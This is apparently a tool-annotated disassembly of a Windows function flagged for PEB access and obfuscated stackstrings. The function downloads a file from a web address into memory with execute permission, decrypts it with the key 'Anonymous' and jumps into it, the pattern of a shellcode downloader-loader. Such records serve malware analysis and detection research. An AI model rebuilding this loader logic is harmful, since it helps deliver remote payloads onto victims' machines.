Function at 0x140001420
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x548]
sub rsp, 0x648
mov dword [rbp - 0x20], 0x64616f4c
mov dword [rbp - 0x1c], 0x7262694c
mov dword [rbp - 0x18], 0x41797261
mov byte [rbp - 0x14], 0
mov dword [rbp - 0x30], 0x7373654d
mov dword [rbp - 0x2c], 0x42656761
mov dword [rbp - 0x28], 0x41786f
mov dword [rbp - 0x60], 0x74697845
mov dword [rbp - 0x5c], 0x636f7250
mov dword [rbp - 0x58], 0x737365
mov dword [rbp], 0x444c5255
mov dword [rbp + 4], 0x6c6e776f
mov dword [rbp + 8], 0x5464616f
mov dword [rbp + 0xc], 0x6361436f
mov dword [rbp + 0x10], 0x69466568
mov dword [rbp + 0x14], 0x41656c
mov dword [rbp - 0x10], 0x74726956
mov dword [rbp - 0xc], 0x416c6175
mov dword [rbp - 8], 0x636f6c6c
mov byte [rbp - 4], 0
mov dword [rbp - 0x40], 0x65657246
mov dword [rbp - 0x3c], 0x7262694c
mov dword [rbp - 0x38], 0x797261
mov dword [rsp + 0x60], 0x72657375
mov dword [rsp + 0x64], 0x642e3233
mov word [rsp + 0x68], 0x6c6c
mov byte [rsp + 0x6a], 0
mov dword [rsp + 0x50], 0x6d6c7275
mov dword [rsp + 0x54], 0x642e6e6f
mov word [rsp + 0x58], 0x6c6c
mov byte [rsp + 0x5a], 0
mov dword [rsp + 0x70], 0x61657243
mov dword [rsp + 0x74], 0x69466574
mov dword [rsp + 0x78], 0x41656c
mov dword [rbp - 0x80], 0x46746547
mov dword [rbp - 0x7c], 0x53656c69
mov dword [rbp - 0x78], 0x657a69
mov dword [rsp + 0x40], 0x64616552
mov dword [rsp + 0x44], 0x656c6946
mov byte [rsp + 0x48], 0
mov dword [rbp - 0x70], 0x74726956
mov dword [rbp - 0x6c], 0x466c6175
mov dword [rbp - 0x68], 0x656572
mov dword [rbp - 0x50], 0x736f6c43
mov dword [rbp - 0x4c], 0x6e614865
mov dword [rbp - 0x48], 0x656c64
call fcn.140001340
mov rcx, qword gs:[0x30]
mov rdx, qword [rcx + 0x60]
mov r13, rax
mov rcx, qword [rdx + 0x18]
mov rdx, qword [rcx + 0x10]
mov rcx, qword [rdx]
mov rdx, qword [rcx]
mov rdi, qword [rdx + 0x30]
lea rdx, [rbp - 0x20]
mov rcx, rdi
call r13
lea rcx, [rsp + 0x60]
mov rbx, rax
call rbx
lea rdx, [rbp - 0x30]
mov rcx, rax
call r13
lea rdx, [rbp - 0x60]
mov rcx, rdi
call r13
lea rdx, [rbp - 0x40]
mov rcx, rdi
mov qword [rbp + 0x18], rax
call r13
lea rdx, [rbp - 0x10]
mov rcx, rdi
mov rsi, rax
call r13
lea rdx, [rsp + 0x70]
mov rcx, rdi
mov qword [rbp + 0x598], rax
call r13
lea rdx, [rbp - 0x50]
mov r12, rax
mov rcx, rdi
call r13
lea rdx, [rbp - 0x80]
mov rcx, rdi
mov r14, rax
call r13
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov r15, rax
call r13
lea rdx, [rbp - 0x70]
mov rcx, rdi
mov qword [rbp + 0x5a0], rax
call r13
lea rcx, [rsp + 0x50]
mov qword [rbp + 0x5a8], rax
call rbx
lea rdx, [rbp]
mov rcx, rax
mov rdi, rax
call r13
xor r13d, r13d
lea r8, [rbp + 0x20]
lea rdx, str.http:__www.baidu.com_1.txt
mov r9d, 0x104
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call rax
mov rcx, rdi
call rsi
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 1]
lea rcx, [rbp + 0x20]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call r12
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400016b8
xor edx, edx
mov rcx, rax
call r15
mov esi, eax
cmp eax, 0xffffffff
jne 0x1400016c2
mov rcx, rdi
call r14
mov eax, 1
jmp 0x14000176d
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [rbp + 0x598]
mov rcx, rdi
mov rbx, rax
test rax, rax
je 0x1400016b5
lea r9, [rbp + 0x590]
mov r8d, esi
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [rbp + 0x5a0]
mov rcx, rdi
test eax, eax
jne 0x14000171c
call r14
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [rbp + 0x5a8]
mov eax, 1
jmp 0x14000176d
call r14
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, str.Anonymous
mov qword [rbp + 0x530], r13
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rbp + 0x130]
call fcn.140001010
lea rcx, [rbp + 0x130]
mov r8d, esi
mov rdx, rbx
call fcn.1400011a0
mov edx, esi
mov rcx, rbx
call fcn.140001280
call rbx
xor ecx, ecx
call qword [rbp + 0x18]
xor eax, eax
add rsp, 0x648
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret